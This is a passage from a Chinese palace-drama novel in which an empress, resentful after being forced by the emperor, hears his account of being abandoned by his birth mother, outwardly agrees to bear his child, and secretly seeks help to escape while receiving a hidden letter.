上一次他粗暴对待过她后,也是用这样的话哄她的。
男人在床榻之间说的话不可信,在床榻之间痛快完了后说的话更不可信,不过都是在连蒙带骗地诓一诓蠢女人罢了。
她已在这上头吃过了一次亏,断不会再上第二次当。
而且,媜珠还觉得他们之间甚是没意思。
实在太让人乏味了。
他来来回回都只会这一套,对于她,他唯一的目的就是让她乖乖就范侍寝,她不愿意,她顶撞忤逆他,然后他就用强,待完事后,见她哭得伤心心情不好,他吃饱喝足之余,则寻几件首饰珍宝赏给她,哄她开心。
之后他们便可以重归于好,他亦可继续消遣受用她的美色身段。
媜珠自己都觉得累了,他居然还不嫌累。
或许是因为她尚年轻貌美,还没到色衰爱弛的年纪,所以为了榻上那点快意风流,他就可以一直来哄她吗?
他对她用强,是为了在榻上快活;事后来哄她,是为了让她能继续心甘情愿和他同房,让他快活。
媜珠猛地大彻大悟了,或许佩芝说的的确不错,——“天下男人都是这样”,对于女人,在乎的都只是那一回事罢了。
这一次,不管皇帝如何再同她认错哄她,媜珠都再也不开口了。她揪着自己的衣袖,委屈的眼泪在眸中直打转。
她看透了,便知道这不是第一次,也永远永远不会是最后一次。
只要她还在他身边,只要她还在做这个皇后,她就永远活该被当成他的消遣。
见媜珠还是始终不语,皇帝沉沉地叹了口气,“媜媜,我们夫妻的确很久没有好好地说过话了。这些天你心情不好,对朕百般敷衍抗拒,朕不是看不出来。朕想和你好好谈谈,你也总是推拒不肯,朕昨夜实在是被你气急了,所以才……”
媜珠睁圆了眼睛看着他,终于说出了第一句话:“所以?所以陛下认为这一切都是妾咎由自取?”
她声音低了下去:“上一次你说过,以后不会再这样对我的,可实际呢?”
皇帝将她纤薄柔弱的身体搂入怀里,抚了抚她薄薄的背,他没有回答她的问题,当然,他也没脸回答。
“媜媜,你是我一生中最重要的女人,我身边唯一用真心对待过的人,至今也只有你一人。”
他没有再对她称“朕”,而是直呼“我”字。
“我这一生里只有三个女子最重要,生母,养母,还有我的妻子。可我一直都知道,我的生母厌弃我,我的养母只是利用我,只有我的媜媜是爱过我的,所以我永世也只对媜媜付出过真心。居于万人之巅,九五之尊,至高至寒之处,我只剩下你一个人陪在身边,我不能接受你不爱我,不能接受你拒绝我。”
在媜珠的记忆里,这是皇帝第一次对她剖白他的过往、他的内心。
“赵太后……当年还是冀州侯的赵夫人时,冀州侯收养我为养子,名为养子,实则不过是想充作家仆而已。赵太后将我记在名下抚育,她对我有养育之恩,我也一分不差地回报给她和赵氏一族。可你知道么,我和她皆心知肚明,我们之间并没有几分母子之情,在赵太后身边的这么多年,她不止养过我一个养子,我从来都明白,只要我稍微逊色于人、只要我稍微比她其他的养子差,她定会果断地抛弃我这颗没用的弃子。如今我还能称她一声母亲,不过是因为我对她来说最有用。”
“我怕被她抛弃,但若是真的有被她抛弃的那一日,我也不会觉得奇怪。毕竟,第一个抛弃我的人,是我的生母。”
周奉疆抚了抚媜珠的发,“媜媜,我从来没有和你说过我生母的事情,你大约并不知道,我的生母尚存于世,并且,几年前,就在我们成婚后的第二年,我还亲眼去见过她。”
媜珠的心思被他说的话勾走了,她微微愕然,“我们婚后第二年?是陛下去伐徐州牧的那一年,陛下在徐州……?”
第36章
皇帝的生母曾经在冀州做过什么营生,媜珠是听赵太后说过的。
他的生母待他很不好很苛刻,媜珠过去也听赵太后念叨过一次。
据说,后来那个女人和冀州军军中的一个士卒看对了眼,二人因此私逃,其后十数年便再没有丁点消息。
她走的时候,将自己才六岁的儿子抛弃在天寒地冻的冀州,甚至连多几口干粮肉饼都没给孩子留下,也亏得是那个孩子坚忍心性过人,居然也真的熬了下来,并且最后误打误撞为冀州侯周鼎所赏识,收为了养子。
但后来她过得怎么样,冀州城中的人就没再知晓了。
连赵太后和外头的文武百官也早已默认她肯定是死了,新帝登基践祚以来,皇帝自己不提,外头更没人提说要为皇帝找回生母的事。
媜珠从没想过,原来早在所有人之前,周奉疆已经找到了他的亲生母亲。
周奉疆将媜珠抱在怀中抱得更紧了些,手臂紧绷,眉目间也渐渐笼上一层极淡的怆然怅惘之色。
他埋首在媜珠的肩窝和长发之间,汲取着她身上的温度和香气,第一次在媜珠面前流露出了些许脆弱的样子。
从他的口中,媜珠听到了那个故事的后半部分。
她忽然意识到,这也许是皇帝此生第一次对别人讲起这个故事,也会是最后一次。
今日之后,他人,他时,不论是在什么情况下,都不会再有人能听到这个泱泱帝国的君主说起这个对他来说十分不堪的故事。
……
二十多年前的那个寒冬深夜里,周奉疆是清楚自己母亲将去往何方的。
倒也不是在徐州,而是徐州更南边的扬州,江都县。
他听过那男人曾经对她母亲说,他的户契上写的是他是徐州人,但数年前他生父过世,两位叔父带着祖父祖母和他母亲等人就举家搬到了扬州谋一口饭吃。
扬州临近运河,繁荣兴盛,鱼米之乡,且常年并无战事,比之冀州更加好讨生活,处处有适宜女子可做的营生。
裁剪,缝纫,洗衣,卖茶,摆摊,甚至还能做个走街串巷的媒人,他们有手有脚,干什么不成呢?
他向郑二娘子极言描绘扬州城是何等人稠物穰的繁华胜地,还说,若不是当年他父亲早逝,他想投了军营给家里省下一张嘴吃饭的开销,他也不至于到了遥远的北地冀州做一个小小的军卒。
周奉疆的生母郑娘子被那男人说得愈发心动向往,尤其是当那男人说,到了扬州,没有人再认识她,她过去的一切都可以成为一张无人知晓的白纸时,郑娘子几乎感动到为之泣泪了。
“到了扬州,我们抓紧安顿下来,我会名正言顺地娶你为妻,哪怕手头寒酸拮据,至少也会为你堂堂正正地摆上两桌酒,叫街坊四邻皆来见证,你是我谢家明媒正娶的长孙媳妇儿。我还要告诉他们,你本就是好人家通晓礼义道理的清白姑娘,是叫我从冀州坑骗拐来做媳妇的,叫他们都好好待你,不能让你受了委屈。”
这诱惑对处于那样处境下的一个女人实在是太大太大,郑娘子再没有不答应的道理了。
然后,她抛下了她的儿子,在一个寒冷的冬夜里,怀揣着对自己未来新的人生的无限期盼,随之和谢大郎踏上了南下的道路。
她不能带上她的儿子。
——她要清清白白的嫁人,对,谢大郎说的本就没错,她是北地清清白白好人家的女儿跟他嫁去扬州的,她的过往干干净净,冰清玉洁。
她没有嫁过人,没有生过子,更没有做过什么肮脏污秽的营生,她的一切都要从头开始。
几个月后,经历了好一番颠沛流离的谢大郎带着郑娘子终于进入了扬州城,来到了江陵县,找到了谢大郎阔别数年不见的亲人。
彼时,虽然他的父亲已经过世了,但家中其他亲人尚存。
家中人见他终于回来团圆,无不泪流满面,对他从外头带回来的这个女人也无比满意,说这女人看着勤快能干又很和善,的确是个好媳妇儿,连连称赞谢大郎的眼光不差。
谢家人给他们另辟了一块新的屋舍,小半个月的功夫里,将他二人衣食起居要用到一干房中物件也添置得齐齐全全。
更值得大喜的是,谢大郎的弟弟谢二郎这几年读书有了出息,在江陵县县太爷的府衙里做了个小幕僚,因着这层关系,他轻松就安排哥哥在当地做了个衙门的捕快。
谢大郎有了稳定的月银收入,偶尔还能靠着点手段从下头再捞点钱财。
谢二郎还想法子让嫂嫂郑娘子去县令夫人娘家的一间裁缝店里做了个裁衣的绣娘。
于是乎,来到扬州后不久,谢大郎和郑娘子的生活便步入了正轨,郑娘子的人生也因为这个男人而发生了她从前从未想过的天翻地覆的变化。
第二年,她和谢大郎的长子就在谢家一家人的期待下平安降生,她一跃成为谢家所有人眼中的大功臣。
又一年半后,她又生下一女,从此儿女双全,彻底在谢家站稳了脚跟。
之后的十几年里,她先后再度生下三子一女,只可惜夭折了两子,不过这个时代大部分的婴儿本就容易夭折,郑娘子虽然有过伤心,到底不至于太当一回事。
不管怎么说,她和她丈夫还有两子两女,四个孩子健健康康平平安安地长大了,她已成为街坊四邻间左右都羡慕的女人,旁人都说她是“全福人”。
虽然她的公公早就去世了,公婆并不齐全在世,但她自称自己父母在北地仍然康健,而她膝下又儿女双全,所以后来不少附近的新娘子出嫁,还是会请她来做全福人,让她给新娘子铺床。
这可是她在冀州的时候想都不敢想的事情!
在扬州的十几年里,她过得一帆风顺,比她从冀州离开时想象到的生活还要幸福。
婆婆慈爱,亲戚帮衬,婆家接纳,丈夫同心,儿女懂事,衣食无忧。
她丈夫从小捕头成了县衙里的捕快头子,而她裁衣刺绣的手艺也越做越好,一家人的日子越过越红火。
她把她的四个孩子都喂养得白白胖胖的,家中顿顿食有荤腥,把鸡鸭鱼肉一股脑地塞进孩子们的口中。
又因自己如今本就做了绣娘,四个孩子的四季新衣都由她亲手裁剪。家中孩子虽多,可她从来舍不得叫小儿子小女儿捡大儿子大女儿的旧衣裳穿,怕孩子心里受委屈,一定要叫他们人人都有新衣裳穿才肯。
——周奉疆当年在听到这里时,他还是为自己的母亲和那个继父以及弟弟妹妹感到高兴的。
守金陵必守徐。徐州一失,金陵即危。当周奉疆攻下徐州后,冀州军越战越勇,兵锋自徐州南下,一路直指金陵。
从徐州打到金陵,中途必然会经过扬州。
他想要借此机会去寻找自己的生母,他想知道她是否还活着,想要知道她这些年究竟过得怎么样,那个当年她不顾一切想要与之私奔的男人,他对她好不好,她幸福么?
后来他偷偷派去提前潜入扬州城内的心腹果然很轻松就找到了她,并轻而易举将她过往十数年的所有事情查得一清二楚。
攻入扬州城之前,他已提前命人潜入城中偷偷护住他的生母一家,不想让母亲在兵荒马乱之际受到一点点战火的冲击。
后来他顺利占据扬州城,命人传告城内百姓,说冀州军不杀无辜百姓,令黎庶可自安。
母亲听说此事也十分高兴,自以为是从北地兵蛮的战乱中逃过了一劫,当即前往她从前常去的一座佛寺里上香还愿,顺带着添点香油钱,为阖家祈福。
周奉疆时隔十数年再听到他生母的声音,见到他生母的样子,就是躲在那寺庙的佛像之后。
他窥见他生母虔诚地在悲悯的佛像前跪地祈祷,一一为她此生所在乎的那些人祈福。
第一个是她现在的丈夫,其次就是她的长子、长女、次子、次女。
然后是她过去夭折了的那两个婴儿,祈愿那两个婴儿已经投胎去了好人家,来生定要康康健健,平平安安,下辈子一定还要再投胎到她的肚子里,她会把他们好好地养大成人,成全他们今生还未续完的母子情分。——身为人母,她大约记得她的每一个孩子。
继而是她在北地老家再未能谋面的父亲母亲,弟弟弟媳,侄儿侄女们,希望娘家一切安好,希望父母能安享晚年,希望弟弟一家吃喝不愁,能替她孝顺好父母。
还有她在扬州的婆家人,包括她日渐年迈的婆婆,小叔子、妯娌,侄儿侄女,大姑子小姑子一家……
她希望她的婆家人也都要好好的,他们一大家子亲戚之间互相帮衬,在这乱世里才能不被人欺负。
最后,她沉默许久,还提到了她的前夫。
她希望前夫战死的亡魂可以得到安息,愿她的前夫可登极乐,来生托生在富贵人家做个闲散公子,不要再像这一世这般辛苦了。
——当年,周奉疆的生父,她的前夫,待她也很是不错。
她的愿望很多很多,她为她在乎的很多人祈福,其中甚至还包括了一个不知名的老妇人。当年在她和谢大郎从冀州逃往扬州的路上,他们一度差点因为精疲力尽而饿死,那老妇人曾经赠他们一人一碗热粥吃,叫他们死里逃生活了下来。
她也毕生都坚持为那个老妇人祈福,愿恩人今生太平,来生顺遂。
周奉疆默默地站在佛像后等了许久许久,也没有听到她再提起他的名字。
他忽然在这一刻意识到,原来他对她来说,真的只是个无关紧要的累赘。
她在乎所有人,唯独不在乎他。
可他到底做错了什么?
和她在冀州相依为命的那些年里,他到底做错了什么,以至于招致生母数十年的厌弃和冷漠?
在他的记忆里,他已经有二十多年没有再掉过一滴泪了。
然而那一天,他静立在佛像后,在那神情慈悲的佛祖都看不见的地方,他不知为何落了泪,连他自己也无法止住。
不知过去多久,母亲的声声诵经祈福终于结束,她在庙外玩耍的小儿子蹦着跳着扑进了她的怀里:
“阿娘!怎么还没完呀,你可说好了今天带我去买何记酒楼的香烙羊肉吃的!快点走呀,再不去人家就卖完了!”
母亲跪在蒲团上,面上浮现宠溺的神色,抬手理了理小儿子的衣襟,嗔怒道:
“没大没小的东西,佛祖跟前你也满口酒肉的,没规矩!”
小儿子不耐烦地拉扯她的衣袖:“走吧走吧!快走吧,我要吃香烙羊肉!”
母亲略带碎纹的眉眼间笑意更深:“好了好了,娘带你去就是了,讨债鬼托生的东西,叫我日日没个安生!”
而他则像是躲在暗处见不得光的一只孤魂野鬼,偷偷窥探着旁人的故事。
他的生母令他熟悉又陌生,他第一次真切地察觉到她已经离他很远很远了。
远到他们像是从未认识过。
其实在征伐徐州、江淮吴会之地之前,他曾在心中幻想他再次见到他生母时的场景。
他猜测,也许她会对他感到陌生;也许是惊讶他竟然活了下来;也许她会痛哭着上前抱着他,哭诉当年她将他抛下也是事出有因迫不得已;也许她这些年的确感到后悔,她也一直期盼着再重新见到他……
但绝不是现在这样。
他在她身上一滴都没能得到的、他视之为奢望的母爱,她可以慷慨如江流海水倒灌一般源源不断地给予她别的孩子们。
她从来都明白如何做一个好母亲,明白如何去爱自己的骨肉。她只是不愿意那样爱他罢了。
两个她生下来不久后夭折了的孩子,这些年她多多少少还供着他们的长明灯,每逢清明、中元,都要来寺中多给他们念经超度,可见她是个多么慈爱的好母亲。
那他呢?
当年她抛下他一走了之,他也不过才六岁,冀州苦寒不比扬州的温暖,她这十几年来有没有一日会想起她抛弃过的那个孩子?有没有想过那个孩子是死是活、那个孩子过得好不好?
*
“陛下,也许婆母她是无心的。”
在讲到这里后,皇帝默然许久,媜珠竟然还从他的声音中听出了一点哽咽,于是她也在良久的寂静过后小心翼翼地开口安慰了他一下,
“陛下,彼时刚经战乱,婆母心中定是惶惶不安,她匆忙拜佛只求平安,当然只能想到眼下身边的人……不经意间漏掉了陛下,也许真的只是无心的。陛下可设法再与婆母相会,若是母子当面重逢,婆母定会喜不自胜,和陛下之间重修母子之情。”
“——我不会再见她。”媜珠话音刚落,皇帝即斩钉截铁地道。
“为什么?”媜珠又问。
皇帝最终有些狼狈地侧首:“……后来在扬州城的那几日,朕命人暗中送了她十箱黄金,朕偿还她对朕的十月怀胎生育之恩。她面无异色,将那十箱黄金坦然收下,然后什么也没有再说,她也没有再说要见朕。哪怕朕什么也没有让别人对她说,可她身为人母,难道自己猜不到扬州城内的冀州节度使周奉疆到底是谁么?她早就心知肚明,可她并不想认我,她怕我打破她经营的美满的生活。她不见我,我也绝不再见她。”
哦,原来这才是那个故事的真相。
在已经被郑娘子伤心一次之后,他又送上十箱黄金,只为换她主动开口说一句想见他。
但即便如此,那个女人也还是无动于衷。
她无法舍弃的,是她在扬州谢家的安稳体面生活。
那个儿子的出现,——别说他现在是皇帝,哪怕他当时做了玉皇大帝,她也绝不稀罕相认。
她不能让别人知晓她从前在北地还有一段这样的过往,不能让别人知道她还和别的男人生过孩子。
她是谢家最清白的媳妇,她干干净净,没有瑕疵,一生只为谢家生儿育女。
“她让朕已然伤心过一次,朕,此生都不再见她。既然朕生来注定亲缘浅薄,断之也不可惜。你不必叫她婆母,她不再是朕的母亲,朕也不是她的儿子。”
皇帝定定地看着媜珠:“朕不会为了一份区区母子之情,让自己活得一丝尊严也无,更不稀罕跪地祈求她的怜爱。朕用了二十多年,杀了不知多少人,才终于从尸山血海里捡回来的尊严、竖起来的威仪,朕绝不会再回头祈求她的后悔和怜爱。朕不仅不再见她,也绝不再想知道关于她的任何事情。在朕心中,世上已永无此人。”
媜珠的眸光静谧,她就这样静静地直视着皇帝。
当一个速来强势独裁的帝王难得地向你暴露他脆弱的一面时,他自然是无比地信任你、宠爱你,所以才愿意袒露他的伤口给你看。
不论是谁得到这样的“殊荣”,都应当诚惶诚恐地跪倒在地,叩谢皇帝的信任,然后极言安抚皇帝,并且一再向皇帝保证,哪怕他的亲娘不要他、养娘不疼他,但是她一定会永远陪在他身边,永远都只忠于皇帝一人等等等等。
然而媜珠并没有。
她看他的眼神,自始至终是那样平和。连一点心疼也没有。
甚至,媜珠还淡淡地反问了他一句:
“陛下今日突然和妾说起这些,是为什么?”
皇帝如鹰隼一般的目光沉沉逡巡在媜珠身上,媜珠有些不自在,她觉得这就是一种赤裸的打量猎物、打量一块可被食用的肉的神情。
“朕的生母抛弃朕,朕从前无法释怀,现在说放下也放下了。后来朕被养母所养,朕也曾穷尽心思去讨赵太后的欢心,但赵太后对朕只有利用之心,所以后来朕很快也放弃了。媜媜……”
他轻抚她的脸颊,“你还不明白吗,朕最后永世无法放下的人,只有你了。朕在这世上,惟一还可以真心相待之人,只有你。所以你必须永远陪在朕的身边,永远爱朕。”
她是他心头最纯粹皎洁的一片白月光,是他身边唯一真心对过他的人。在他一无所有,一无是处的时候,只有她爱他。
他也亲眼见证、陪伴了她的成长,看着她一点点长大到如今。一个男人生命里绝不会再出现第二个这般刻骨铭心的女人了。
媜珠的唇畔牵起一抹勉强的笑意:“妾之所有,皆为陛下所主。妾对陛下,自当真心相待。”
真心地厌烦他,真心地抗拒他,真心想要离开他。
皇帝深深呼出一口气:“媜媜,朕不傻。这些时日里,你看着朕的眼睛里,没有丝毫爱意。你看着穆王府小县主的眼神,都比看着朕的时候更真心。”
媜珠毫不畏惧他的质问,而且绝不承认他所说的事实:
“陛下既然质疑妾的真心,所以这也是妾必须要被陛下凌辱惩罚的原因。真心一事,见仁见智,妾不知如何自证清白,所以陛下将妾做玩物一般羞辱,妾自当受之,不敢有怨。”
她还是满腹火气,并没有因皇帝给她讲一讲他被生母养母集体嫌弃的悲惨故事就为之动容了、心疼了,然后不明不白就原谅了他,活活继续受下这委屈。
她一点也不傻。
皇帝回她:“朕从来都是将你视作掌上明珠一般疼爱,几时将你当做玩物?那你告诉朕,这数日以来,你为何在侍寝时对朕敷衍抗拒?你明知朕从无纳妾之心,却屡次劝朕宠幸旁人,你是故意气朕。朕为你亲手所做的金梳,你为何说扔就扔?你现下就是去宣室殿里砸了朕的玉玺,朕也舍不得责罚你半句,可朕送你的东西,你不能轻贱。”
该低头的时候不得不低头,媜珠既然敢做这样的事,自然也有理由回他。
她立马摆出一副泫然欲泣的表情,哀哀戚戚地低声道:
“妾无德,这些年始终无法为陛下生育子嗣,即便陛下不说妾,妾也心中不安。妾的肚子不争气却夜夜受陛下专房之宠,独占恩露,妾无颜见天下人,更无颜侍寝,所以妾才会推拒陛下……妾想劝陛下充实后宫,也是想为陛下的子嗣考量。妾已然失德至此,如何还敢提与陛下共白头之事?所以陛下赠妾的金梳,妾也不敢再拿了。”
原来是这样?
原来真的是这样么?
周奉疆端详着媜珠,又觉得她不像是在作伪,心头倒是好受了些许。
也许她真的是在焦虑子嗣的事,焦虑得自己神智有些失了常,然后才把自己变成这样子的吗?
难道一切真的只是孩子的原因吗?
媜珠丝毫没有意识到她给自己挖了一个多大的坑。
周奉疆带着粗粝薄茧的指腹摩挲着媜珠细腻白皙的下巴,他将她的脸抬起了几分,让她抬首同自己直视,终于做出了那个艰难的决定。
“——你若是真的这么想要孩子,那我们今年要个孩子,好不好?”
“我们要个孩子吧。只要是媜媜腹中所生,生男即立为太子,生女则封为国公主,朕与你一起亲自养之。我们会是很好的父母的,对不对?”
媜珠用尽了全身的力气才保住了脸颊上最后的那点笑意,没有在皇帝面前失了态。
孩子。
她跟他生下的孩子,算什么呢?
乱伦的产物?
还是她失贞受辱的证物?
第37章
现在的媜珠当然是不可能想给他生孩子的。事实上,最近一段时间她连叩拜偏殿里供奉的那尊送子娘娘像都十分敷衍,每次跪在那送子娘娘像跟前时,她心里想到的却是:
“谢谢娘娘,谢谢娘娘没有让我在过去的数年中糊里糊涂地生下仇人的血脉、乱伦的孽种。”
她方才和他所说的那些话,也不过是为了诓骗他一番,给彼此互相找个台阶下。
她此时在这深宫之中孤立无援,就连亲生母亲都未必能帮她什么,实在不宜彻底和周奉疆闹得决裂,若是在她还没有摆脱他的情况下,她再被他厌弃,只会让她在这宫中的处境更加举步维艰。
所以她似乎只能被迫陷入这样周而复始没有尽头的循环里:
因为无法忍受而和皇帝发脾气进行微弱的抗争,因为认清现实又一次次和他假意求和。
这样的日子,到底什么时候才是个头啊……
和媜珠心中的纠结苦闷不同,在那一瞬间,周奉疆却是动了真格的了。
也许是因为第一次对她讲起了自己那不忍回首的幼年时光;也许是因为被她眸中盈盈的落寞和哀伤所触动,他觉得或许他真的不该自私地剥夺她做母亲的权利。
他在那一瞬间改变了明明一个时辰之前还在坚持的想法,——现在他想和她有个孩子了。
或许,一个新生而柔嫩的、会吵闹的孩子,才能使他们之间真的连接起来,会填满他们这段婚姻里情感上的空洞,让他们有一个完整的家。
他会成为父亲,她会成为母亲。
……如果她因为怀孕生育这个孩子而想起过往的事呢?
周奉疆的大脑下意识地阻止自己去深思这个问题,他只粗略地在头脑中安慰自己说,没关系的,不会有事的。
她那么柔弱,那么善良,她连奴仆宫人都会心疼的人,怎么可能因为不爱他所以就不爱她自己辛苦生下的亲生孩子?
或者,有可能佩芝他们说的的确没错,女人么,生下了哪个男人的孩子,哪怕是为了自己的孩子,心也会偏向那个男人的。
不过,现在还有一个问题就是,媜珠真的有那么想要一个孩子吗?真的想生下他的孩子吗?
周奉疆再度问了她一遍:“媜媜,你愿意为我生儿育女吗?”
他说的是“为我”,而不是“为朕”。
此刻,他只是她的丈夫。
他问她的时候,宽大的双手紧紧地握着媜珠的两肩,眸中有八分的热切,细看还有两分忐忑。
媜珠还能怎么回答?
在这时的世道里,不论在什么情况下,一个女人面对丈夫想要后嗣的要求,都无法回答“不”。
哪怕只是平民百姓之家,如果有一个普通妇人说自己不想给丈夫生子,也都要被街坊四邻戳戳指指暗讽不安分的。
何况她如今不仅是妻子的身份,面对的还是一位帝王呢?
所以,她只能微笑着、尽可能装出无比期待的姿态对他说:
“妾心中期盼已久,若能为陛下诞育子嗣,实在是妾毕生之幸。”
周奉疆很高兴,他呼出一口气,将她按到了自己的怀里:
“我这一生只会有你一个女人,我的子嗣只会有你来生下。数百年后,魏宗室后嗣,皆是你我的血脉。以后不许再说那些让我生气的话了,听到没有?”
媜珠在他怀中闷闷地应了下:“妾知。”
这场博弈让媜珠发现自己再度落入下风,吃了好大的一个亏。
——她昨夜被他强过,她现在身上那些地方还是痛的,破皮红肿的伤处还没有愈合,可是被他这样摆弄了一顿后,她居然还莫名其妙地承诺需要再为他生下孩子。
他们就这样“和好”了。
他不需要为他的暴行付出任何代价。
他只需要跟她随便诉诉苦,说他的生母养母对他都不好,所以她就应该心疼他,原谅他。
媜珠心头实在堵得慌。
然而,在旁人眼中,他们皆言皇帝愈发宠爱疼惜皇后了。
连穆王妃隔日进宫时,都抱着小县主指着媜珠书房中的那扇珍珠珠帘赞叹道:
“娘娘这儿果然是华贵之至,这样金贵的东西……娘娘的寝居书房、楼阁花苑,果真是仙宫珠阙,仙姬所居之处。”
也不怪穆王妃会有此番感慨。
昨日彼此的那场“谈心”后,大概是为了补偿媜珠,皇帝又送了些礼物来讨媜珠的欢心。
有七八株近人高的南海红珊瑚,枝繁叶茂,皆光彩夺目,似凝聚南海日月所照之精华而长成的。
这样的红珊瑚树,皇帝就命人搁置在椒房殿的花苑处,充作花苑内的一点装饰而已。
还有一扇东珠珠帘,一整扇珠帘里串着的都是鹌鹑蛋大小的东海珍珠,白皙细腻,颗颗圆润光滑。
只因媜珠平素待在书房里的时间也稍多,所以皇帝就让人把这珠帘置在她的书房中。
落在穆王妃的眼里,哪怕是天宫仙境,也不能再比这更奢靡了。
她眼中尽是一片无法自抑的羡慕,可媜珠仅仅是一笑而过,并不放在心上似的。
“不过是些死物罢了,有什么有趣的?伯母带荷儿去看看伯母养的鸟儿好不好?”
深宫度日漫漫,媜珠少不得养了许多的宠物来打发时光,聊以陪伴自己。
猫,犬,鱼,龟,兔,自然还少不了许多鸟儿,画眉鹦鹉珍珠鸟,甚至还有几只孔雀。
——其实这些,大多还是周奉疆问也不问她的意见就送来给她养的。
有些媜珠并不是很喜欢,比如那几只孔雀,都是雄孔雀,虽然很漂亮,媜珠总觉得它们烦人又很凶。
还有那几只龟,也是又凶又丑。
但周奉疆只会说,若是她不喜欢,那就让膳房的人替她炖了煲一盅汤来。
媜珠欲言又止,最后只能继续养了下来。
现在还没开春,外头寒冷,媜珠的鸟儿都被人装进笼中养在了暖阁里。
阁中烧着炭火,温暖如春,十几只鸟儿可在其中安然无虞地度过寒冷的冬日。
媜珠抱着荷儿,隔着笼子一一指着那些鸟儿给荷儿看,逗荷儿开心:
“这是画眉,这是鹦鹉。”
荷儿当然咯咯笑个不停,高兴得不得了。
穆王妃立在一旁应承着:“娘娘这儿确实是有趣,连鸟儿都养得漂亮聪明,跟外头的没法比。娘娘平素也喜欢到此处解闷么?”
媜珠的笑意忽然淡了淡,声音也低了下去:“不,我不喜欢。今日若不是为了逗逗荷儿,我是不想到这地方来的,看这些笼中鸟,有什么意思呢……”
其实现在她觉得这里很恐怖。
房中一连挂着十几个鸟笼儿,每个鸟笼都是一座坚固的牢狱,这些鸟儿进来之后就再也没有逃脱的那一天了。
一些新生的幼鸟偶尔还会啄一啄笼子试图逃脱,可只要它们在笼中待的时日长了些,它们就都会慢慢习惯,然后彻底死心,安于现状。
她为什么不喜欢养在缸里的那些大乌龟们呢?
有几只乌龟,其实是皇帝以前在外头打仗的时候给她从野外捞来的,说是小玩意儿,让她养着,解闷而已。
她亲眼见过那些乌龟的变化。
一开始被她养在大水缸里,那些乌龟总是奋力地在水缸边缘攀爬着准备逃脱,它们不停地试探着水缸的边界,整日在水缸中团团转,想要寻找任何一个可能让它们逃离的出口。
有好几个夜晚,媜珠总能听到它们的爪子不停地剐蹭着水缸内壁的划痕声。
婢子们给它们喂食,它们也没什么兴趣。
可是渐渐地,那些本来野生的乌龟就死心了。
它们不再准备逃离,它们的爪子不再试探囚笼的边界。
它们从前很活泼,后来变得很安静,它们几乎整日一动不动,只会静静地等待着被人喂食。
它们尖锐的爪子也慢慢失去了锋利。
乌龟如此,鸟儿也如此。
她也如此。
穆王妃不知如何接媜珠的话,只能有些尴尬地在一旁笑了笑。
媜珠有点抱不动荷儿了,她把荷儿交到宫娥的手中,有些出神地看着那些鸟笼:
“总在这笼子里待着,谁不想逃呢?我总想,若是有一日我也能像这些鸟儿一样,趁着哪日鸟笼的门没有关好,扑腾着翅膀飞出去就好了,可以在外头自由自在地逛一逛,足以见天地之宽,九州之大。”
说罢,她意味深长地瞥了穆王妃一眼。
穆王妃心头一跳,脑海中细细一思量,立马陪着笑附和说:
“这倒好办,能讨娘娘高兴的事儿,妾也能替娘娘办成。只请娘娘哪日稍稍别过头去别看着妾,妾就来偷偷替娘娘把这笼门开了,放这些鸟儿出去,等娘娘回过头来看见它们都飞了,可不就高兴?”
她读懂媜珠的暗示。
媜珠说她想逃离,想要离开这个恐怖的深宫,她只能求助于穆王一家。
而面对媜珠的哀求,穆王妃答应了下来。
媜珠莞尔。
她这天下午还格外召见了颍川公主的妯娌冯夫人。
冯夫人还带来了她那因伤失明的儿子韩柏。
韩柏的双目被包扎过,上了几天的药之后,大约也是能见人了。
媜珠牵挂这孩子的伤势,特意召冯夫人母子入宫,她自己亲眼看了看这孩子如今的模样,又让宫中最负盛名的那些医官们也来瞧了瞧他的伤,赏赐了他许多补品、药物。
也许是因为儿子突遭变故的原因,身为人母的冯夫人再也没有了往昔那般滔滔不绝、爽朗大方的模样了。
她今日显得格外拘谨,在殿内坐着,基本上也是低着头一声不吭,只有媜珠问她几句话,她才说些什么,说话的声音也都在发抖。
媜珠以为冯夫人是怕她问责颍川公主小产之事,怕她因为颍川公主的小产而迁怒她。
可实际上她并没有这般的打算。
大人之间的是是非非,她已经无力再判断谁对谁错了。
她委婉地暗示冯氏说:“大人之间再如何,牵扯到孩子也是不应该。已经闹出过这样的事,还盼往后万万是别再有了。”
冯氏旋即诚惶诚恐、恭恭敬敬地跪地道:“娘娘恕罪,贱妾明白,此事皆因贱妾而起,妾往后再也不敢生事了。贱妾定会好好地侍奉长嫂,以长嫂为尊,再不敢不明是非、无理取闹。”
媜珠叹息:“夫人能明事理,以后家中和睦,盼公主和夫人一起孝顺长者,让李太妃和家中老夫人也省许多的心。”
冯氏自是连连应下。
这时,冯氏的儿子韩柏用孩童的稚嫩嗓音轻声问母亲说:
“阿娘,皇后娘娘在哪里?我看不见皇后娘娘,可以让娘娘抱抱我吗?也许皇后娘娘抱抱我,以后我就能好起来了,我的眼睛也能看得见了。”
媜珠一听这话,当下心疼得不得了,让婢子们小心地把已经失明的韩柏搀扶到自己面前来,她抱了抱那孩子,把他搂进自己怀里,柔声询问他的眼睛还痛不痛,这几日饮食和睡眠可还好?
这孩子自受伤后,浑身都像是掉了一层皮一样,因为病痛而快速暴瘦,如今只剩下一具骨架一般孱弱。
韩柏猫儿一样小声地在她怀里哼了哼。
忽地,媜珠的身子僵硬了一下。
因为她察觉到,这孩子的手里握了个东西,在旁人看不见的地方,他的手悄悄探进她宽大的鸾裙广袖内,把一个纸团儿形状的东西放在了她的袖子里。
然后,他像是什么都没有发生过一样,颤颤地给她磕了个头,叩谢皇后娘娘的恩德,就被婢子搀扶着回到了他母亲的身边。
媜珠的面色凝滞片刻,可在冯氏母子和佩芝等满殿宫娥们的面前,她没有表现出来。
她的手在袖内探了探,寻到了那个东西,然后握住了那张纸团。
那似乎是一封信。
第38章
又略坐了片刻后,冯氏便牵着自己的儿子退下了。
媜珠不仅厚赏了冯氏母子,给了冯夫人许多珍贵的补品药材,也同样关切颍川公主刚刚小产后的身体,给颍川公主同样赏赐颇多。
她希望一切真的能像冯氏所说的那样,在经历了这场所有人意料之外的悲剧后,他们一家人能痛定思痛,消磨隔阂与偏见,从此平平安安和和睦睦地共处。
——虽然她知道这其实还是有些困难的。
见完冯氏母子,媜珠佯做有些疲倦,说自己要独自一人待在内殿里歇息会儿。
佩芝乃上前询问:“婢为娘娘宽衣吧,娘娘身上松快些,去榻上小躺片刻也是好的。”
媜珠身为皇后,平素见外人时,自然皆着华服丽裙,衣饰繁复,美则美矣,美丽也是一种累赘,总显得有些不太方便。
媜珠一手拢于袖内,握紧了那块纸团,摇摇头拒绝了佩芝的提议:
